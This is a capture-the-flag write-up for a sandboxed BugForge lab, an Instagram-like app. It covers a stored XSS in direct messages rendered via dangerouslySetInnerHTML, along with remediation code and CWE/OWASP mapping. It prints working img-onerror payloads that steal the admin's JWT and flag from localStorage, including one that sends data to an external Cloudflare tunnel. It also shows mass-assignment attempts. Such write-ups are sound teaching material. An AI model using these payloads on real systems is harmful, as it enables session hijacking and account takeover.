BugForge - Ottergram Lab Writeup
Executive Summary
Overall Risk Rating: π΄ Critical
Key Findings:
- Stored XSS via Direct Message content β unsanitized HTML rendered with
dangerouslySetInnerHTML(CWE-79) - Sensitive data in localStorage accessible to XSS (CWE-922)
- Wildcard CORS configuration (CWE-942)
Business Impact: Any authenticated user can execute arbitrary JavaScript in any other userβs browser via DM, enabling full account takeover, session hijacking, and data exfiltration.
Objective
Find the flag hidden within the Ottergram application β an Instagram-like social media platform for otter enthusiasts.
Initial Access
# Target Application
URL: https://lab-1774652179703-chxke1.labs-app.bugforge.io
# Credentials
Registered users: haxor / haxor2 / haxor3
Auth: JWT (HS256) via POST /api/register, stored in localStorage
JWT payload: {id, username, iat} β no role claim, role is DB-driven
Key Findings
Critical & High-Risk Vulnerabilities
- Stored XSS via Direct Message content (CWE-79: Improper Neutralization of Input During Web Page Generation) β The POST /api/messages
contentfield accepts arbitrary HTML. The React frontend renders inbox messages usingdangerouslySetInnerHTML: {__html: e.content}with zero sanitization on either the server (storage) or client (rendering) side.
CVSS v3.1 Score for Stored XSS: 9.6 (Critical)
| Metric | Value |
|---|---|
| Attack Vector | Network |
| Attack Complexity | Low |
| Privileges Required | Low |
| User Interaction | Required |
| Scope | Changed |
| Confidentiality | High |
| Integrity | High |
| Availability | High |
Enumeration Summary
Application Analysis
Target Endpoints Discovered:
| Endpoint | Method | Auth | Notes |
|---|---|---|---|
| /api/register | POST | No | Field-filtered (role not accepted) |
| /api/verify-token | GET | Bearer | Returns full user obj with role |
| /api/profile/:username | GET | Bearer | Public profile |
| /api/profile | PUT | Bearer | {full_name, bio} β field-filtered |
| /api/posts | GET/POST | Bearer | Feed + create (multipart w/ image) |
| /api/messages | POST | Bearer | {recipient_id, content} β NO SANITIZE |
| /api/messages/inbox | GET | Bearer | DMs β renders with dangerouslySetInnerHTML |
| /api/admin | GET | Bearer | Admin panel β server-side role check |
| /api/admin/users | GET | Bearer | Has ?search= param |
| /api/admin/posts | GET | Bearer | Has ?search= param |
Tech Stack: React SPA frontend, Express.js backend, JWT (HS256) auth, Socket.IO real-time notifications, wildcard CORS.
Attack Chain Visualization
βββββββββββββββββββ ββββββββββββββββββββ βββββββββββββββββββββββ
β Register user ββββββΆβ Obtain valid JWT ββββββΆβ Discover flag in β
β POST /api/ β β from response β β JS bundle: β
β register β β β β localStorage.flag β
βββββββββββββββββββ ββββββββββββββββββββ ββββββββββββ¬βββββββββββ
β
βΌ
βββββββββββββββββββ ββββββββββββββββββββ βββββββββββββββββββββββ
β DM to admin ββββββΆβ Admin opens ββββββΆβ dangerouslySet β
β (id=2) with β β inbox via β β InnerHTML renders β
β XSS in content β β Socket.IO notify β β payload as HTML β
βββββββββββββββββββ ββββββββββββββββββββ ββββββββββββ¬βββββββββββ
β
βΌ
βββββββββββββββββββ ββββββββββββββββββββ βββββββββββββββββββββββ
β Read flag from βββββββ Admin's browser βββββββ JS reads β
β attacker inbox β β POSTs flag back β β localStorage.flag β
β (sent by admin) β β as DM to attackerβ β + localStorage. β
β β β using admin's JWTβ β token β
βββββββββββββββββββ ββββββββββββββββββββ βββββββββββββββββββββββ
Attack Path Summary:
- Register user and obtain valid JWT
- Analyze JS bundle β discover
dangerouslySetInnerHTMLsink and flag inlocalStorage("flag") - Confirm external exfil seems to be blocked (sandboxed lab environment?)
- Craft self-contained XSS payload that reads adminβs localStorage and POSTs flag back via the appβs own messaging API
- Send payload as DM to admin (id=2)
- Admin bot receives Socket.IO notification, opens inbox, payload executes
- Retrieve flag from attackerβs inbox (sent by adminβs browser)
Exploitation Path
Step 1: Reconnaissance β Map the API Surface and Identify Sinks
Intercepted HTTP traffic via Caido and extracted routes from the React JS bundle (/static/js/main.dd5901b1.js). Key discoveries:
- DM rendering sink: Inbox component uses
dangerouslySetInnerHTML: {__html: e.content}to render message content β a classic XSS sink. - Flag location: JS bundle contains
if(s&&"admin"===s.role){const e=localStorage.getItem("flag");...}β the flag is stored in the admin userβslocalStorage("flag"). - Admin bot behavior: Socket.IO
new-messageevents trigger the admin to open their inbox, meaning any DM to admin will be rendered.
Key endpoints mapped:
POST /api/messages β send DM {recipient_id, content}
GET /api/messages/inbox β view received messages
GET /api/verify-token β returns user object with role
GET /api/admin/* β admin panel (server-side role check)
Step 2: Eliminate Dead Ends β Mass Assignment and External Exfil
Before testing XSS, checked if there was a simpler path to admin:
- Mass assignment on
/api/registerwithrole: "admin"β server filtered the field, returnedrole: "user" - Mass assignment on
PUT /api/profilewithrole: "admin"β returned 200 but/api/verify-tokenstill showedrole: "user" - External exfiltration via CloudFlare tunnel β payload fired but no callback received. The lab bot may not be able to reach external URLs.
This confirmed: no shortcut to admin, and data exfiltration needs to use the appβs own API endpoints.
Step 3: Craft Self-Contained XSS Payload
Since external exfil didnβt work, the payload needed to:
- Read
localStorage("flag")andlocalStorage("token")from the adminβs browser - Use the adminβs own JWT to POST the flag back to the attacker as a DM via
/api/messages
<img src=x onerror="var t=localStorage.getItem('token');var f=localStorage.getItem('flag')||'no-flag';fetch('/api/messages',{method:'POST',headers:{'Content-Type':'application/json','Authorization':'Bearer '+t},body:JSON.stringify({recipient_id:5,content:f})})">
How it works:
<img src=x>triggersonerrorbecausexis not a valid imageonerrorhandler reads the adminβs JWT and flag from localStorage- Uses
fetch()to POST the flag as a DM to the attacker (user id=5) - Entirely self-contained β no external callbacks needed
Step 4: Deliver Payload and Retrieve Flag
Sent the XSS payload as a DM to admin (user id=2):
POST /api/messages HTTP/1.1
Authorization: Bearer <attacker_jwt>
Content-Type: application/json
{"recipient_id":2,"content":"<img src=x onerror=\"var t=localStorage.getItem('token');var f=localStorage.getItem('flag')||'no-flag';fetch('/api/messages',{method:'POST',headers:{'Content-Type':'application/json','Authorization':'Bearer '+t},body:JSON.stringify({recipient_id:5,content:f})})\">"}
The admin bot received the Socket.IO new-message notification, opened its inbox, and dangerouslySetInnerHTML rendered the payload. The adminβs browser executed the JavaScript, read the flag from localStorage, and POSTed it back as a DM.
Checked attackerβs inbox β message from admin (sender_id=2) containing the flag:
{"id":14,"sender_id":2,"recipient_id":5,"content":"bug{XkGWX1AeLZxcWuM9iB4OankQ0Rtxns0b}","is_read":0,"created_at":"2026-03-27 23:19:26","sender_username":"admin"}
Flag / Objective Achieved
β
Flag captured: bug{XkGWX1AeLZxcWuM9iB4OankQ0Rtxns0b}
Exfiltrated from adminβs localStorage("flag") via stored XSS in the DM system.
Key Learnings
dangerouslySetInnerHTMLis exactly as dangerous as the name implies. Reactβs default behavior escapes HTML in JSX expressions. The explicit opt-in to raw HTML rendering must always be paired with server-side sanitization or a client-side library like DOMPurify.- When external exfil is blocked, use the application against itself. The admin bot couldnβt reach external URLs, so the payload used the appβs own messaging API to send the flag back. The victimβs own authenticated session becomes the exfiltration channel.
- JS bundles reveal both sinks and secrets. The bundle exposed both the
dangerouslySetInnerHTMLsink and the fact that the flag was inlocalStorage("flag")β the full attack chain was discoverable from source review alone. - Socket.IO notifications create reliable trigger mechanisms. The
new-messageevent ensured the admin would open the inbox and render the payload without any social engineering or timing dependency.
Tools Used
- Caido - HTTP traffic interception and API mapping
- Browser DevTools - JS bundle analysis β found dangerouslySetInnerHTML sink and flag location
- curl / Caido Replay - Payload delivery and inbox verification
Remediation
1. Stored XSS via Direct Messages β Missing Input Sanitization (CVSS: 9.6 - Critical)
Issue: The DM content field is stored as-is (no sanitization) and rendered using dangerouslySetInnerHTML (no escaping). Any authenticated user can execute arbitrary JavaScript in any other userβs browser by sending a crafted message.
CWE Reference: CWE-79 β Improper Neutralization of Input During Web Page Generation (βCross-site Scriptingβ)
Fix (Server-side β sanitize before storage):
// BEFORE (Vulnerable)
app.post('/api/messages', auth, async (req, res) => {
const { recipient_id, content } = req.body;
await db.run(
'INSERT INTO messages (sender_id, recipient_id, content) VALUES (?, ?, ?)',
[req.user.id, recipient_id, content]
);
});
// AFTER (Secure β strip all HTML tags)
const sanitizeHtml = require('sanitize-html');
app.post('/api/messages', auth, async (req, res) => {
const { recipient_id, content } = req.body;
const cleanContent = sanitizeHtml(content, { allowedTags: [], allowedAttributes: {} });
await db.run(
'INSERT INTO messages (sender_id, recipient_id, content) VALUES (?, ?, ?)',
[req.user.id, recipient_id, cleanContent]
);
});
Fix (Client-side β stop using dangerouslySetInnerHTML):
// BEFORE (Vulnerable)
<div dangerouslySetInnerHTML={{__html: message.content}} />
// AFTER (Secure β React auto-escapes text content)
<div>{message.content}</div>
2. Sensitive Data in localStorage (CVSS: 4.3 - Medium)
Issue: The adminβs flag and JWT are stored in localStorage, which is accessible to any JavaScript running on the page. Combined with XSS, this enables immediate exfiltration.
CWE Reference: CWE-922 β Insecure Storage of Sensitive Information
Fix:
- Store session tokens in httpOnly cookies (inaccessible to JavaScript)
- Never store secrets/flags in client-side storage
- Use SameSite=Strict and Secure cookie flags
3. Wildcard CORS Configuration (CVSS: 5.3 - Medium)
Issue: Access-Control-Allow-Origin: * allows any origin to make authenticated cross-origin requests.
CWE Reference: CWE-942 β Permissive Cross-domain Policy with Untrusted Domains
Fix:
// BEFORE (Vulnerable)
app.use(cors()); // defaults to Access-Control-Allow-Origin: *
// AFTER (Secure)
app.use(cors({
origin: 'https://your-app-domain.com',
credentials: true
}));
Failed Attempts
Approach 1: Mass Assignment on Registration
POST /api/register
{"username":"haxor","email":"h@x.com","password":"pass","full_name":"Haxor","role":"admin"}
Result: Failed β server filters extra fields, returned role: "user"
Approach 2: Mass Assignment on Profile Update
PUT /api/profile
{"full_name":"Haxor","bio":"test","role":"admin"}
Result: Failed β returned 200 OK but /api/verify-token still showed role: "user" (field silently ignored)
Approach 3: External Exfiltration via CloudFlare Tunnel
<img src=x onerror="fetch('https://external-tunnel.trycloudflare.com/exfil?d='+localStorage.getItem('flag'))">
Result: Failed β payload executed but no callback received. Lab bot cannot reach external URLs (sandboxed environment).
OWASP Top 10 Coverage
- A03:2021 β Injection β Primary finding. Unsanitized user input in DM content rendered as HTML in victimβs browser, enabling stored XSS.
- A07:2021 β Identification and Authentication Failures β JWT and sensitive data stored in localStorage rather than httpOnly cookies, enabling client-side exfiltration.
- A05:2021 β Security Misconfiguration β Wildcard CORS policy (
Access-Control-Allow-Origin: *) widens the attack surface for cross-origin attacks.
References
XSS Resources:
- OWASP Testing Guide β Stored XSS
- CWE-79: Improper Neutralization of Input During Web Page Generation
- React β dangerouslySetInnerHTML Documentation
- OWASP XSS Prevention Cheat Sheet
- PortSwigger β Stored XSS
Tags: #xss #stored-xss #dangerouslysetinnerhtml #localstorage-exfil #react #bugforge #dm-injection